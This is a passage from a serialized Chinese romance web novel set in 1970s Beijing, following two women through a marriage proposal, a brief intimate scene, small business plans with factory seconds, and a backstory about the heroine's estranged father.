季白青笑着解释:“淼淼脚扭了,这不我怕她再伤到筋骨,还是别让她走路了。” 听了这话,李婶赞同地点了点头。 “伤了腿可不是什么小事啊!” “快回去看看有不有大问题!” 季白青点头,悠悠抱着温淼往家里走。 温淼埋在了对方的怀里不肯再出来,羞赧是一方面。 另一方面,她贪恋季白青温暖的怀抱。 她的怀里一直都是炙热的,带着她所熟悉的清香,柔软又可靠。 到了家里,温淼脸上的泪痕已经在季白青的衣服上蹭的差不多了,只有微红的眼眶能够看出来刚才的低落情绪。 季白青将她放下,又把炉子里热着的水倒出来,给温淼擦脸。 带着热气的毛巾给温淼擦干净脸,将她的脸颊蒸出来一层浅浅的粉色。 季白青坐在她身边凑过去亲她的唇角,轻轻的吻一下一下地落下。 几次后,温淼觉得有些痒,要往后躲。 季白青将她的长发绕在手指上打着圈儿。 “原谅我了吗?” 温淼好一会儿才点头,最后说:“……我不是生你的气。” 她只是习惯性患得患失,即使季白青给的爱满得快要溢出来了,她还是会觉得不安。 前二十年的生活中,太多东西她都难以把握住,她最害怕的就是,将季白青对她的喜欢和爱意耗光。 哪怕现在季白青那个哄着她,抱着她,那以后久了会不会就不管她了? 她这样是不是很烦? 情绪不知不觉中变得越发低迷,温淼垂着头,不敢看身边季白青的神色。 怕从她眼中看到哪怕一丝的不耐烦。 季白青自然猜不到温淼的患得患失,见她又不太想搭理自己,只好提前将自己给她买的礼物拿了出来。 是一尾金鱼吊坠,挂在黑色的编绳之上,原本暖白的玉却在尾巴处带上一抹橙黄。 在温淼的面前晃了晃,她说:“这就是我今天买的东西,原本想着我再修修、试着雕刻一下,结果我们蓁蓁又不高兴,那我只好先拿出来哄哄你了。” 她说:“之前你的小金鱼是妈妈给你的,既然摔碎了,那就换上我给你的好不好?我送的小金鱼代替妈妈的陪着你。” 玉色金鱼在空中晃荡几下,见温淼没什么反应,季白青还以为是她不喜欢。 刚想收起来,金鱼却被温淼接了过去。 摸索着上面的纹路,因为一路上放在兜里,这还带着季白青身上的体温,是温的。 温淼将抬起脸,眼睛不知道在什么时候又变得湿漉漉的了。 看着那盈盈水光,季白青原本定下的目标又多了。 她想要温淼的眼里此后再也没有忧郁。 粉色的唇瓣微微一张,想说的话还没说出口,温淼先她一步,将自己的长发整理好,露出修长的颈脖。 “阿青帮我戴上。” 黑色的绳子在颈间若隐若现,那尾带着季白青体温的金鱼被藏在衣服下。 她蹲下身,单膝点在地上,抬头望着温淼。 刚才没说出口的话这时候才被季白青正式说了出来。 “温淼同志,我很认真地问你一次。 你愿意和我结婚、领证,组建一个新的家庭吗?” 【作者有话说】 今天作者心累,没话说。 感谢投雷营养液,感谢订阅评论收藏 第62章 “太阳”深水加更二合一 ◎另一商机◎ 季白青的话落下后,空气都安静了两秒。 两人的距离不远不近,但恰好能够听到对方清浅的呼吸声。 说不紧张都是假的,即使两个人的感情在她看来早就已经稳定下来了,但季白青的手心还是出了细汗。 她也不是那么好,温淼不一定会答应她。 时间一秒一秒地过去,季白青保持着仰头的姿势等着温淼的回答。 答应她吧,季白青在心里小声祈求。 温淼低头看着季白青,意识飘散。 两人之间有着莫名的缘分,下乡的第一天她们就打了照面,后来的每一天,她都对自己很好。 原本她以为季白青对她是别有所图,但这人却像个木头,笨得在她真正心动后还没有开窍。 其实温淼从来没和季白青明说过,她将季白青看做是月亮。 月亮悲悯地将月光笼罩众人,但她却卑劣地想要将月光私藏。 最后她也成功了,月亮投入她怀。 现在,她的月亮主动提出想要和她结婚,和她组建一个新的家庭。 温淼还有些恍惚,觉得不太真实。 但也只是愣了那么一会儿,她伸出手将季白青拉了起来,季白青顺势就这样被她抱住。 女人清甜软媚的声音一字一句在耳边重复:“阿青,我、我愿意的。” “季白青同志,我愿意和你结婚,组建我们的小家庭。” 明明是再普通的一句话,但无论是在季白青还温淼听来,都蕴含着巨大的意义。 季白青的回抱住温淼,圈住她的后背,不知为何,眼前水雾氤氲,并非情绪难过。 而是喜悦,期间还夹杂着一丝激动。 好像就在这一刻,两人的心更贴近一步。 抱了一会儿,她们谁都没有说话。 等到放开后,看到了对方眼中与自己无异的水汽,两人相视一笑。 温淼过后捂住了脸,有些不好意思地唧哝:“好丢脸,不知道为什么就这样了,不是我想的。” “嗯,”季白青一口亲在她粉色的指尖,“因为蓁蓁爱我。” 她语气确定,温淼也确实没有反驳,而是一头扎进她的怀里,轻轻用头顶她小腹,无声地撒娇。 季白青干脆托着她的屁股肉,把她抱起来,让她跨坐在自己腿上,面对面的姿势,她亲昵地蹭了蹭温淼的鼻尖,问她:“什么时候领证?到时候还得办酒席,要穿什么衣服,想好了吗?” 听她问这些,温淼想着那些繁琐的细节就有些头痛,下巴抵住她的肩膀,摇摇头。 “怎么可能这么快就想好嘛,回去再说好不好嘛?老婆。” 又叫她老婆。 季白青的唇角上扬,眼角眉梢*的柔软笑意藏都藏不住。 也对,本来就应该叫老婆的,都已经到谈婚论嫁这一步了,回去挑个好日子就能够领证。 温淼,她老婆。 手放在温淼的后腰揉了揉,感受到她身体有些发软,季白青舔了舔唇瓣,手指灵活钻进了她的衣服里,过热的指腹接触到她敏感的后腰,温淼嘤咛一声,脸上漫上绯红。 “干、干什么……” 她声音娇嗲,带着颤音。 季白青眉眼弯弯,看起来分外纯良,说出来的话却蔫坏。 “还有更好的办法,一切都我来负责,不过总要给我点甜头吧蓁蓁。” 手指在她的腰窝上打着圈儿,其中含义不言而喻。 温淼的耳朵都红了,屋子里连灯都没开,虽然还有些暗,但不可否认现在却是实在白天。 午饭都还没吃。 她隔着衣服,一口咬在季白青的肩膀上。 “你讨厌!” 一点也不痛。 季白青亲她侧脸,浅尝而止止不了心瘾,最后又捏着人下巴结结实实吻了一顿。 其实亲得不算太顺利,刚才惹得温猫猫不高兴了,最喜欢的亲吻环节她也不乐意,亮了尖牙在季白青的唇上咬破两个小口。 不过季白青却没太在意,只是轻微刺痛,算不上什么伤,毕竟她惹猫猫不高兴在先,猫猫咬她也是情有可原。 倒是漂亮的布偶猫见她那两处伤口比唇瓣色要更红上一些,又有些愧疚,琉璃色眸子直勾勾地瞧着,最后凑上去小心地舔着那处的伤口。 “对不起嘛。”她小声道歉。 “但是你的要求很过分的,现在还是白天,怎么可以那样呢?” 她再度用那种谴责的眼神看着季白青。 季白青内心没有一点愧疚不安,怀着无所谓的态度调戏。 “白天和晚上也没什么不同的蓁蓁。” “我今天刚修了指甲,有了上次的经验,肯定能够更舒服的。” 季白青的声音落在女人耳边,带着些无言的诱惑,双手不知在什么时候,又按在了温淼的后腰。 想着上次那灭顶的快|感,温淼的眼神带了几分纠结,想要、但还不大放得开。 这点小心思被季白青一眼看尽,她将温淼放下,窗帘彻底拉上,房间里又晦暗了几分。 温淼还来不及跑,就轻松被季白青按住了手腕,不远处的炉火噼啪,温淼的脸颊热度也逐渐上涌。 换了个压在季白青身上的姿势,她轻飘飘的,没什么重量,季白青还能分出心思慢慢地亲她的鼻尖、泪痣、眼尾,将珍珠似的咸湿眼泪吞吃进去。 身下的沙发布罩湿了一块,季白青穿着的家居服也遭了殃,罪魁祸首早就已经累得睡着了,纤长睫毛低垂,软白的脸蛋看起来十分乖。 唇瓣被亲得有些肿。 将人简单擦拭一番抱上了床,用被子裹着,要上药时温淼的腿根还细细发抖,明明没醒,唇瓣却咕哝着几个细碎的词。 无非就是“不要了”、“轻一点”“不许”这几个词汇,季白青拍拍她的后背,将人哄得睡得安稳了些才继续给她上药。 唇瓣发红,还有些湿润。 擦药后给她套上了衣服,季白青转了转手腕,按了按腕骨,又抻了抻肩膀,这才舒服了一些。 估摸着温淼还要睡一会儿,她去厨房做今天的午饭。 炒了个白菜,又做了个鲫鱼豆腐汤,都很清淡。 将饭菜端上了桌,温淼睡得还很沉。 季白青哄着她起来吃了点东西,看她迷迷糊糊被自己喂着和平时饭量差不多的量后,才让她继续睡。 看来是真的很困,吃饭的时候就耷拉着眼睛,沾了枕头后跟猫似的在上面蹭了蹭,就满足地闭上了眼睛。 季白青垂眸一笑,帮她盖好被子,这才开始吃饭。 估摸着一时半会温淼还醒不了,她穿好衣服,拿上钱和票出了门。 昨天她路过京市纺织厂的时候,耳尖听到有人说今天下午有一批瑕疵品要处理,消息只有纺织厂内部的人知道。 虽然她不是纺织厂的,但是季白青也想去碰碰运气。 到了纺织厂门口,已经有人提前到了。 季白青淡笑着正想进去,就被看门的大娘拦住了。 大娘将她上下打量了一眼,狐疑道:“是我们厂的吗?怎么没见过你?” 季白青笑,“大娘,别人都说我是个大众脸,看一眼就忘了,你记不住而已。” 看着那张秀美的脸蛋,大娘陷入怀疑。 这种高挑漂亮的姑娘算是大众脸?她真的忘记了吗?不能吧。 趁着这个机会,季白青赶紧溜了过去。 前面是两个手挽手的姑娘,季白青十分自来熟地凑了过去,“女同志,你们也是来看针织厂的瑕疵品的吗?” 两个女同志虽然不认识她,但也很热情地回答了。 “对啊,听说有不少好东西的,有的只是颜色不对,有的是做错了货,来看看是什么样。” “不过估计好看的都难抢。” 季白青挑了挑眉,压下上扬的唇角。 “这还靠抢呢,我还是第一次抢这些,有点紧张,抢多少算多少吗?” 女同志点头,“不过这批货不太好,颜色也难看,我们挑完之后剩下的货就要拉到回收站了。” 说话期间,就跟着她们一起走到了仓库。 仓库里已经围了一圈人了,对两个女同志道谢后,季白青一个猛冲,凭借着灵巧的身姿很快从后面挤到了最前面。 忽略身后的抱怨,季白青掏出兜里的尼龙袋,开始挑货。 要处理的瑕疵品都是针织厂的货,有衣服裤子、围巾手套,就连袜子都不少。 扔在地上,供人挑选。 身边的手挑的都快,季白青一眼不错开始挑货,看中一件就往袋子里扔。 这件衣服挺好看的,拿下。 这件裤子好像是的确良的,扔进去。 这袜子虽然是荧光绿的,但是尼龙袜,留着。 身边的人都换了一批,季白青的尼龙袋装了半袋,不少人看她的眼神都奇怪。 这是哪来的人,怎么要买那么多走? 季白青进来之后就扯了个口罩戴上,丝毫不在意别人的眼光,一直将自己的袋子装满后才扛着一袋子的纺织品走出人群。 将东西放在出纳员面前,让她算这些东西一起多少钱。 将一袋的纺织品倒出来后,出纳员一件一件地清算。 衣服和裤子都是两块五一件,纱巾毛巾和手套一毛钱,尼龙袜子四毛钱一双,都需要布票。 一袋的针织品一共八十,还需要搭上差不多一百尺的布票。 季白青眼都不眨,将带来的钱和票给了出纳员。 出纳员收了钱之后,还有些疑惑,刚想要问问她是哪个车间的员工,给她看看工牌,话还没说出口,季白青就拎着东西飞一样跑了。 见状,她只能将话憋住。 反正只要把钱和票收对就行了,领导没要求落实到个人身上。 走出了一段距离后,季白青就慢下来,往后一看,出纳员没上来追她。 她松了一口气,出了纺织厂的时候还心情颇好地和看门大娘打了声招呼。 “大娘,我走了!” 大娘这下对她还了印象,也对她招了招手。 扛着这么大袋的东西到底有些显眼,季白青没有多呆,大步流星地往家走。 挑衣服也是要时间的,她这一出去就两三个小时过去了。 将带回来的纺织品都摊开放在了杂物间,有些布料是润的,保不准会有发霉。 挤在一起不同的味道混合起来也不同。 季白青回卧室看了眼,见温淼还在睡,她洗了把手又回了杂物间。 这些瑕疵品其实有的都是些小瑕疵,小范围的脏污,或是切错了线,大部分还是因为库存挤压才留下来的货,连瑕疵都没有。 只是在仓库里放久了之后,多少会有一些奇怪的味道,但影响不大。 杂物间没多少东西,她将窗户打开,打算先散散味儿。 她还想着刚才听两个女同志说的话,被挑剩下的货会被会受到回收站。 那她是不是还可以去废品站再挑一波? 这样想着,她站起身来正准备出杂物间,就听见了一道绵软的声音。 “阿青,你在干什么?” 是温淼。 一看,女人套了件外套,揉着眼,神色还有些困倦。 她走过去,搂住人的腰,没忍住亲了一口。 “怎么过来了?”她轻声问。 温淼眷恋地在她胸口蹭了蹭,想着刚接触过那些堆积久的东西,季白青往后仰了仰,无奈开口。 “我身上脏,等我换身衣服你再粘。” “乖,先回房间。” 外面风大,温淼雪白的耳朵被吹得通红。 闻言,温淼倒是很听话,转身回了房间。 季白青洗了手又换了衣服,给温淼擦了擦脸才对她张开手,示意小粘人精可以靠过来了。 温淼靠着季白青,又有些困,打了个哈欠,忽然像是想到了什么,看了眼季白青才回答她刚才的问题。 “我醒来看你没在。” 季白青给她顺着头发,帮她扎起长发。 冬天有些干,头发太乱起静电。 “我下午出去了一趟,待会儿可能还要去回收站。” 温淼点头,“我也要去。” 看了眼怀中娇娇,季白青问:“身上不酸了?” 上午也就一会儿的功夫,温淼就娇滴滴地说她腰酸,腿酸,总之是百般推拒。 要不是看她爽得连泪花都出来了,季白青没准还真会信。 像是想到了什么,她低笑一声,贴着温淼的耳朵小声道: “蓁蓁感受到了吗?水好多,沙发都湿了。” 温淼这才发现原本浅色的沙发套变成了深的,再透过窗户往外看,被洗干净的沙发套正悬在晾衣杆上吹着。 她咬着唇,最后轻哼了一声,将季白青的手放在自己的腰上,命令她: “我就要去。” “你给我揉腰,腰还酸。” 季白青能怎么办?只能老老实实给她揉腰。 揉了一会儿,手下动作没停,她问:“饿了没?要不要吃点东西?” 季白青和温淼两人偶尔会在不是饭点的时候饿,便在家里备了一点饼干、点心类的饱腹食品。 温淼摇了摇头,她中午被喂着吃了不少,一下午也在睡觉,没怎么消化。 想到了什么,她突然支起了头,“晚上想吃饺子。” 季白青很快应下,“去国营饭店吃还是自己在家做?” 温淼歪着头问她:“你会累吗?” 这就是想在家里自己做的意思了。 “小看我。” 女人眼睛明亮,声音柔软,“我只是怕你累嘛。” 季白青弯起眸子,“不会累的。” 又给人按了会儿,看了眼时间也差不多到时间了。 可以出门了。 套好了外出的厚外套,季白青给温淼和自己都套上了一条红色的围巾。 颜色是正红,两个人皮肤都白,绕在脖子上,很衬气色,显得脸颊莹白。 温淼抓着落下来的围巾,有些惊喜。 “这是你买的吗?” 季白青摇头,将她的头发拨弄出来,这才解释道:“是我自己织的。” 她想了想,最后组织出来语言:“这叫恋人款围巾。” 她给温奶奶和几个姑也各自织了一条,准备哪次顺带送过去。 温淼显然很高兴,捏着围巾尾部,去回收站的路上,又有些纳闷:“什么时候织的?我好像都没看到。” 冬天季白青不太爱睡午觉,便在温淼睡午觉的时候找了隔壁李婶学织围巾,挑了最漂亮的一种织法,又选了最柔软的毛线,偷偷织了两条一样的围巾。 原本是想要给温淼一个惊喜的,但她又觉得不算贵重,在外出的时候刚好给她围上。 听她这么说,温淼凑过去,两人离得近了些。 将自己的手插进季白青的衣服口袋,温淼看她侧脸:“我很喜欢,这很贵重了,老婆。” 顾忌这是在外面,最后的声音几乎是气音,也就季白青认真听温淼说话才捕捉到了。 她的心情也有些雀跃,在衣服里牵住了温淼的手,尾音柔软:“你喜欢就好。” 说话间就走到了回收站外,季白青看了眼院子里,还有刚收回来的碎布头。 季白青走到门口,敲了敲门,很快管理员开了门,在询问过后,季白青和温淼开始在那一堆碎布头中挑自己想要的布料。 季白青是想着可以挑出漂亮的碎花布料做后世火爆的大肠发圈,确实也有些漂亮的碎花或是纯色布料。 但还是深色的布料多,最后她们把大块的布料也都挑了出来。 挑好了需要的东西,季白青又看了眼其它的东西,没有什么有价值的,便去付了钱。 管理员就象征性收了三毛钱,拿着袋子,季白青高高兴兴地出去了。 和温淼一起去买了富强粉和其它包饺子要用的东西,她们就回了家。 帮温淼用香皂好好洗干净了手,她将收回来的碎布头放回杂物间,这才准备发面。 多准备了一些面粉,京市的天气大概是在零下,把饺子放在院子里过一夜不会变味,还可以当做是明天的早饭。 早上刚买了猪肉,季白青将猪肉剁碎,温淼在一边洗葱和白菜。 一共做了两个口味的馅料,一个猪肉白菜,一个白菜鸡蛋。 现在冬天,蔬菜少,几乎餐餐都在吃白菜,要么就是萝卜。 温淼还讨厌吃萝卜。 调好馅料的功夫,没多久面团也发酵好了。 将面团分为小块,用擀面杖压成圆形薄皮就好了。 她拿起面皮,包上馅料后见面皮合拢,捏出花褶。 季白青看着温淼专注地看着自己的动作,又拿了几张饺子皮,最后捏出来十一种不同形状的饺子。 最复杂的是金鱼饺子,她用细签压出鱼尾,卷出两个绿豆眼睛,在案板上,金鱼饺子活灵活现。 温淼见状,也跃跃欲试。 “再教我一下,我还没记住。” 季白青又擀了几张面皮,这才一个个教温淼。 温淼是个很优秀的学生,最开始没有一点基础,但最后还是很快就学会了每一种饺子的包法。 季白青的手速比她要快一些,温淼低头很认真地在做金鱼形状的水饺,做了十个金鱼饺子,整整齐齐摆在一边。 昨晚之后,她抬起脸来对季白青笑:“阿青,我们多包点饺子,给奶奶和姑姑她们带一点。” 她指着最靠边的两个金鱼饺子,笑眯眯说:“这两个是我们的。” 那模样可可爱爱的。 季白青点头,拿了个盘子撒了些面粉,给她端端正正摆好,免得一夜过去粘底。 将最麻烦的饺子做完后,温淼加快速度,和季白青一起包剩下来的。 一共买了两斤的富强粉,都用完了。 最后包了一百六十八个饺子。 忙活了小半个晚上,煮上饺子的时候,温淼有些饿了,咬着一块饼干,又给季白青喂了一口。 季白青更习惯吃汤饺,问过温淼意见后调了汤,此时正在搅动锅里的饺子。 光是闻着就很香。 将饼干咽下,温淼盯着那两个格外不同的金鱼饺子,有些着急地发问:“什么时候好?” 饺子多少都浮起来了,季白青安抚她:“很快就好了,你去洗两个碗过来。” 最后往锅里撒了一把葱花,将饺子盛起来,两只金鱼饺子分别被放到碗里。 季白青还调了一碗蘸料。 尝了一口汤喝饺子,她觉得味道还不错,抬头刚想问温淼好不好吃,便见她还在埋头将葱花挑出去。 她有些无奈:“蓁蓁,不要挑食。” 温淼鼓了鼓腮帮子。 季白青拿了个小碗过来,单独夹出去几个饺子,让她想吃,自己用勺子帮她把表面的葱花撇开。 将葱花挑出来后,她把碗推到温淼面前:“下次不吃提前和我说一声。” 其实温淼是间歇性挑食,有些东西平日吃,只是突然在某段时间就不想吃了。 譬如,昨天吃面撒了葱花,就温淼吃的很香。 见温淼乖乖喝汤,她眉眼舒展开,这才问:“好吃吗?” 温淼点头。 她们包的饺子很大个,馅料也足,温淼吃了十个不到就饱了,不过还有个金鱼饺子被她放在最后吃掉。 她是猫舌头,吃热的东西速度慢,还无意识地分心,季白青比她先吃完,撑着脸看她,见她小心翼翼地咬了一口后,笑着说:“味道有区别吗?” 温淼的回答很笃定:“比其它的饺子好吃。” 季白青点头,“那下次给你多做点。” 看来大美人爱吃漂亮饭。 吃了晚饭,她们一起在整理今天收回来的碎布头。 将不同的布料分开,季白青打算明天有空的时候先过一遍水,将味道洗洗,晾干后再收起来。 找了两个弹力皮筋,她描述着让温淼缝了一个发圈,最后做出来样子还挺好看。 见温淼挺喜欢,将那两个单独缝出来的发圈洗干净,挂在屋檐下晾晒。 收拾完也就八点,本想一起去澡堂洗个澡的,可临出门,温淼却停住了。 季白青回头,还有些疑惑,“怎么了?忘了带东西了吗?” 温淼轻瞪她一眼。 无辜被瞪的季白青回看她。 温淼将自己的衣袖捋上去,细嫩的手臂内侧是几个显眼的吻痕。 连手臂上都有,更不要说藏在衣服下的其它地方了。 这样她确实不好去澡堂洗澡。 其实也可以去,只要温淼并不在意。 但奈何温淼是个薄脸皮。 丝毫不无辜的季白青吸了一口气,这才想起自己上午的恶劣行径。 她没有丝毫犹豫,飞快道歉:“对不起老婆,我给忘记了。” “先让我去澡堂洗个澡,待会儿给你打点水回来擦擦好不好?” 现在也就只有这个办法了,温淼幽怨看了她一眼,点了点头。 拿着衣服毛巾和暖瓶,季白青匆匆往澡堂走。 快速洗完澡后,花了打了热水,她这才往家走。 头发都没擦,因为冷气,回到家的时候有些发硬,大概是冻上了。 温淼原本实在沙发上看书,听到了动静之后往门口看了一眼,见她顶着一头湿发,瞬间皱起了眉。 “过来。”她找了条干毛巾,对季白青说。 等到毛巾盖在了自己的头上,她才反应过来温淼是要给自己擦头发。 给她擦着发尾,温淼问:“之前是谁和我说头发不擦干会头疼的?这还是在冬天。” 季白青弱弱:“我……不过我已经认识到我的错误了。我就是有点着急。” “我又没生气,也没有催你,你急什么,再急也应该把头发擦干才对。” 季白青乖巧听训,废话,老婆训她是因为心疼她,她应该感到幸福才对。 更何况,温淼给她擦头发的力度很温柔。 将头发擦到不滴水的状态,温淼便没管她了,在炉子边再烘烘头发就彻底干了。 她用暖壶里的水简单擦了擦身体,等着季白青的头发彻底干了,也没在沙发上多做,上了床准备睡觉。 睡前,想着季白青说用碎布做发绳,她忽然想起来,姜维他爸就是玻璃珠厂的。 有些尺寸的珠子穿孔之后做发绳应该也不难看。 她在季白青怀里转了个身,“阿青。” “嗯?”季白青懒懒应了一声。 “你还记得二姑父吗?他爹是玻璃珠厂的副厂长,你觉得用玻璃珠做发绳行吗?” 听她这么说,季白青眼睛圆睁,她怎么就没有想到这个法子! 玻璃珠的款式挺多,穿在细发绳上肯定也不会难看。 没准因为新奇,会有不少人喜欢。 她重重亲了温淼一口:“行,当然行了!” “那我们明天去问问二姑夫她们。” 说完了正事,温淼也困了。 小腹有些坠,她没有在意,往季白青怀里埋了埋没多久睡着了。 第二天醒来,听到了耳边温淼无意识的痛哼,季白青很快清醒。 手往她裤子上摸,一手湿黏。 时间不对,经期提前了几天。 她第一天的量都多,也不知道床单脏了没,但两人挨着睡,自己的裤子上肯定是有血迹。 “淼淼,醒醒。” 她将温淼叫醒,给她套上衣服,抱她起来后看了看床单,没沾上血迹。 找了干净厚实的裤子和月经带让她换上,又打了热水,季白青灌了热水袋,让她捂着肚子,这才将自己的裤子换下来,把两条裤子放盆里泡着。 原本打算今天吃饺子,但温淼突然来生理期,季白青多做了个甜酒糟鸡蛋,这是她娘告诉她的痛经秘法。 温淼来生理期一向有痛经的毛病,此时揣着暖水袋神情恹恹。 季白青哄她吃了甜酒糟鸡蛋,又让她吃了几个饺子,才让她在床上躺一会儿。 她吃了早饭,又出去将泡着的裤子搓洗干净,处理的早,没有留下什么痕迹。 洗完之后,她又灌了个热水袋,在炉子边烘了烘手,这才到床边,将温淼捂着肚子的暖水袋拿开,新的暖水袋放她脚下,自己上了床,用手给她揉肚子。 感受到身后贴过来的温热身体,温淼有些委屈。 “都怪你昨天要白日宣淫!今天好痛的。”说着,她委屈得要掉眼泪。 季白青有苦说不出,明明她之后缠自己缠的很紧,显然是舒服的。 但温淼情绪不佳,她哄着:“对不起,下次我一定不那样了好不好?” 被人顺着,总是越哄越委屈的,温淼眼泪啪嗒就掉了下来,谴责她:“过分、不节制、不听话。” 季白青:“……下次一定不过分、节制、很听话。” 温淼不听她的话:“没有下次了。” “行行行,没下次了。” 听她这么爽快,温淼又委屈上了。 “你是不是觉得我烦?” 季白青:“……” 她好冤枉。 亲了亲怀中人的耳朵,她哄:“没有嫌你烦,喜欢你爱你还来不及呢。” 感受到她的耐心,温淼总算停了眼泪,在她的怀里昏昏欲睡。 不知道是不是甜酒糟鸡蛋起了效果,中午温淼多了些精神,食量也很正常。 听着季白青说要去给奶奶她们送饺子,她也说要一起去。 季白青多问了一句:“不痛了?不舒服就在家待着,我很快就回来了。” 温淼摇了摇头,“已经不怎么痛了。” 见她坚持,季白青也只能让她和自己一起。 将饺子装好带上,又把织好的围巾拿着,两人一起去了温向荣。 家里只有温向荣在,温如嫣今天值班。 季白青让温淼坐在桌边烤火,她将饺子和围巾放在桌上。 “奶奶,这是我们昨天自己在家包的饺子,金鱼的是淼淼包的,你和姑姑她们每人一个。” “这是我给你们织的围巾。” 给温向荣织的围巾是灰色,和她威严的气质也相符。 温向荣摸着柔软的面料点头:“嗯,小季有心了。” 温知意和温皎皎的围巾她放在了客房,把饺子在窗沿放着。 温淼陪温向荣说话,季白青便将屋子简单收拾了一番。 想着要和季白青一起去找姜维,温淼陪了温向荣半个小时就走了。 两个人坐着公交车去温皎皎家,手里还拿着给她的围巾。 上门前,买了些点心和一兜子柿子。 温皎皎还没上班,听见了敲门声很快来开门了。 见来人是温淼和季白青她有些诧异。 “进来坐,怎么了?” 季白青将吃的放在说上,又给温皎皎看了看给她织的围巾。 温皎皎弯唇,“小季有心了,不过专门过来一趟是什么事?” 季白青开口:“姑姑,我听淼淼说姑父他爹在玻璃珠厂,我想买点玻璃珠。” 闻言,温皎皎提高声音喊:“姜维!姜维!” 姜维打开房门走了出来,“哟,侄女侄女媳,你们怎么来了?” “买玻璃珠,你问问爸。” 姜维点头,“行,我打个电话问问。” 季白青刚想说不用那么急,姜维已经穿上衣服出门了。 和温淼面面相觑一会儿,她们只能先坐着等了。 温皎皎给她们洗了点水果,季白青给面子吃了点,没让温淼吃。 姜维回来得快,将地址写给季白青。 “就这个地方,你下午去找我爹,选款式就行。” 季白青点头,对温皎皎和姜维道谢:“谢谢姑姑姑父。” 出了门,温淼看了眼地址,选了个车站等车。 中途温淼百无聊赖地玩着季白青的手指,小腹还是轻微坠痛,她唇色有些苍白。 季白青心疼亲亲她,“我们办完事早点回去。” 好在车来的很快,她们上车去玻璃珠厂。 等人走了,远远看着的王瑶这才对李文宇道:“老李,我刚刚看到淼淼了。” 听着这个糟心闺女的名字,李文宇心烦。 “看见就看见了。” 王瑶咽了咽口水,“我怎么看见之前那个女的在亲她啊。” 【作者有话说】 突然忘记要说啥了,算了不说了。 感谢一下太阳的深水~加更三千! 感谢宝宝的投雷和营养液,感谢订阅评论收藏~ 63 第63章 ◎教训◎ 闻言,李文宇惊愕一瞬,眉心皱起,有些不大相信。 “你看错了吧,温淼怎么可能和女的在一起。” 见丈夫不相信自己,王瑶心里憋闷,都这个时候,男人的心还是偏向温淼的。 “不可能看错的,就打你那个女的,我看她跟温淼牵手,还低头亲了她。”原本以为是自己眼花了,王瑶还往她们那一处看了良久,眼睛都被风吹干了,看清两人之间的亲昵动作,光是看着她们之间谁也插不进去的氛围就知道这是一对爱侣。 听她这般强调,李文宇倒是信了几分。 毕竟在他看来,自己妻子不是信口开河的人。 他的脸色瞬间有些难看,“这个孽女!下乡之后还和女的搞上了,真是丢我们老李家的脸!” 说这话时,李文宇丝毫没有考虑温淼姓温不姓李。 他的想法是,虽然他之前入赘,让温淼跟了她母亲姓,但如果温淼还想要认他这个父亲,想要结婚后身后有人撑腰,那她迟早都要改回他的姓。 王瑶觑着他的脸色,还多补充了一句:“那个女人知道你是淼淼的爸爸还敢打你,肯定没有把老李你放在眼里。” “而且她举止粗俗,指不定就是个乡下的土包子,也不知道淼淼是不是被她给骗了,竟然和这样的人在一起。” 原本李文宇就对季白青打了他的事情耿耿于怀,听了王瑶的话后心里越发愤怒。 “不孝女!”他怒喝一声。 “我现在就要去教训教训她,免得她跟着个村姑混野了!” 见他这么冲动,王瑶连忙拉住他。 “诶诶,别,我们不是还要去看看爹娘她们,而且淼淼和那这个女人还不一定回了家。” 听她这么一说,李文宇才停下脚步,胸膛剧烈起伏一番,被王瑶哄着往李家走。 李文宇原本是个乡下的穷小子,上面还有四个姐姐,前面两个姐姐出嫁的彩礼供他上到了高中。 他年轻时长相在一众男生中鹤立鸡群,长得瘦瘦高高,清隽俊秀。 温泠月要大李文宇两三岁,当时他因为乡下户籍找不到工作,又不情愿回村里当个面朝黄土背朝天的农民,听闻温家招婿,丝毫不顾别人的异样眼光,主动上了温家的门。 男人大多都有着强烈的自尊心,二十几年前更甚。即使温泠月家中有钱有势,她又长相出众,也没有多少人愿意做上门女婿。 在少数几个愿意的人中,李文宇学历高、外貌优越,很快便和温泠月领证,入了她的户口,靠着温家的关系找了一份城里的工作。 两人也算是过了一段时间的甜蜜婚后生活,可家中他是独子,家中母父对李文宇入赘这件事十分不满,也怨恨上了温泠月。 每次温泠月跟着李文宇回老李家,总被李母李父用各样的话刺,最开始的时候李文宇还会劝阻她们,但类似的话听多了,竟然也觉得有道理,之后便只在一边冷眼旁观。 温泠月也从来不是会委屈自己的人,摸砸出其中意味后渐渐便不再跟着李文宇一起回去了。 后来又有了温淼,温淼生出来是个女孩,小小一个,看起来像是一只白玉团子,软糯可爱。 李文宇和温泠月因为孩子的原因关系近了些,但后来温淼上了户口,随了温泠月姓,即使这是入赘前早就强调过的要求,李文宇的心里还是横了一根刺。 单位里的同事知道他是入赘的,看他的眼神也不一般,李文宇心中的介怀被放得越来越大。 后来遇见了王瑶。 王瑶是他的小学同学,长相和家世都比不上温泠月,可她是个乡下姑娘,没有主见,性格温柔和顺,什么事都顺着李文宇,看向李文宇的眼神中也永远带着崇拜。 和清冷傲然的温泠月截然不同,在家里,李文宇只能看着温泠月的眼色行事,可在王瑶面前,他似乎变成了她最崇拜的人,他想要对王瑶做什么都可以。 他也从温家拿了不少钱,便时不时给王瑶一些,两个人的关系就这样在暗中维持下去。 李文宇害怕被温泠月发现,王瑶也怕自己贸然去宣示主权会招惹麻烦,加上温泠月对李文宇的在意不多,两人之间的关系除了她们之外没有第三个人知道。 王瑶甚至还给李文宇生了个孩子,也是女儿,但却是姓的李。 再后来,温泠月去世,户主变迁为李文宇,而顾忌着温向荣,温淼依旧保持原姓,后来他和王瑶结婚,也不知道怎么的,温向荣竟然也没把温淼的户口迁到她名下。 后来,王瑶给他生了个儿子,他的心彻底偏向了乖巧的妻女还有能够传宗接代的儿子。 不过他自认为从来没有亏待过温淼,只是缺钱的时候会去找温淼。 这丫头的身上不少钱,都是温家给的,还有温泠月留下来的遗产。 温淼长大之后,和他的关系疏远了,也被温家人教育得越来越不听话。 不过说实话,知道下乡的名额落到她们家的时候,李文宇并没有想过要让温淼下乡。 温淼就是个娇娇大小姐,而且就算是他同意,温家人肯定也不同意。 他心里想的是让李欣下乡,之后再想办法把她弄回来,实在不行一个姑娘就在农村结婚生子也行。 这么多年来,*他靠着自己的能力往上爬,好不容易进了革委会,自然不敢得罪他的丈母娘。 但也不知道王瑶从哪里先得来的消息,背着他花钱给李欣买了一个工作岗位,儿子李光宗的年纪又太小,这下下乡的名额就落在了温淼的身上。 得到消息后,李文宇焦躁地在家里走了一圈,还摔了个碗。 他怎么也没有想到一向乖顺的女人会给自己找这么大的麻烦,竟然敢偷偷拿家里这么大一笔钱给李欣买工作。 